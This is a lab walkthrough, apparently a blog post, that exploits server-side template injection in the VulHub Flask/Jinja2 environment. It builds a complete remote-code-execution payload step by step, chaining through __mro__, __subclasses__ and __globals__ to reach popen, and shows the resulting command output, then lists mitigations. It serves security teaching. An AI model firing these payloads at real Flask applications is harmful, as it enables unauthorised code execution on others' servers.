On this page
apsyleg1 min read
#vulhub #ssti #flask #jinja2 #python #web-security

Server-Side Template Injection in Flask

Vulnerability

Server-Side Template Injection (SSTI) is a vulnerability where user input ends up inside a server-side template without sanitization. The template engine executes the input as code, potentially leading to Remote Code Execution (RCE).

Flask uses Jinja2 as its template engine. If a developer passes user data directly into a template (instead of through the template context), an attacker can execute arbitrary Python code on the server.

Lab

Source: VulHub — Flask SSTI
Goal: Achieve RCE through Jinja2 template injection.

Start the environment:

docker compose up -d

Reconnaissance

Landing page — Hello guest:

Flask app landing page: Hello guest

The application accepts a name query parameter and displays it in a greeting. Without the parameter it shows guest. Let's check if the input ends up in the template.

Detecting SSTI

Standard test — {{7*7}}:

http://localhost:8000/?name={{7*7}}

SSTI confirmed:  returned 49

The server returned 49 — the expression was evaluated. SSTI confirmed.

Identifying the Template Engine

Different template engines handle {{7*'7'}} differently:

  • Jinja2: 7777777 (string repetition)
  • Twig: 49 (numeric coercion)
http://localhost:8000/?name={{7*'7'}}

Jinja2 confirmed:  returned 7777777

Result is 7777777 — confirmed Jinja2.

MRO Chain

Jinja2 doesn't give direct access to os or import. But every Python object carries metadata about its class. Through the MRO (Method Resolution Order) chain we can traverse from any object to the os module.

Step 1: String Class

http://localhost:8000/?name={{"".__class__}}

DevTools: "".class returned class 'str'

The browser swallows <class 'str'> as an HTML tag — check via DevTools or View Source. We got <class 'str'> — the class of an empty string.

Step 2: Base Class object

http://localhost:8000/?name={{"".__class__.__mro__[1]}}

DevTools: mro1 returned class 'object'

Step 3: All Subclasses of object

http://localhost:8000/?name={{"".__class__.__mro__[1].__subclasses__()}}

Via View Source we see a huge list — hundreds of classes:

View Source: list of all object subclasses

Step 4: Finding os._wrap_close

We need a class from the os module — through its __globals__ we'll get access to popen. Search for os._wrap_close via Ctrl+F in View Source:

Searching for os._wrap_close in View Source

Found it. Now we need its index in the list. Select text from the start of the list to os._wrap_close, copy it, and count commas in Console:

"SELECTED_TEXT".split(',').length

Console: counting index via split(',').length

The console shows 118 — that's the element count. But Python indexing starts at 0, so the index is 117.

Step 5: Module os Globals

Verify that __init__.__globals__ gives us functions from the os module:

http://localhost:8000/?name={{"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__.keys()}}

globals.keys() — os module functions visible

We can see popen, system, listdir — the entire os module is accessible.

Exploitation

Assembling the final payload. Chain logic:

  1. ''.__class__ — string class (str)
  2. .__mro__[1] — base class (object)
  3. .__subclasses__()[117] — class os._wrap_close
  4. .__init__.__globals__os module globals
  5. ['popen']('id') — run command
  6. .read() — read output
http://localhost:8000/?name={{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()}}

RCE: uid=33(www-data) gid=33(www-data) groups=33(www-data),0(root)

uid=33(www-data) — the id command was executed on the server. RCE achieved.

Takeaway

The root cause is user input being passed directly into render_template_string() without sanitization. Jinja2 itself is not vulnerable — the problem is how the developer uses it.

Mitigations:

  • Don't interpolate input into templates — pass data through context: render_template_string("Hello {{name}}", name=user_input)
  • Use a sandboxjinja2.sandbox.SandboxedEnvironment restricts accessible attributes
  • Validate input — reject {{, {%, __ at the input level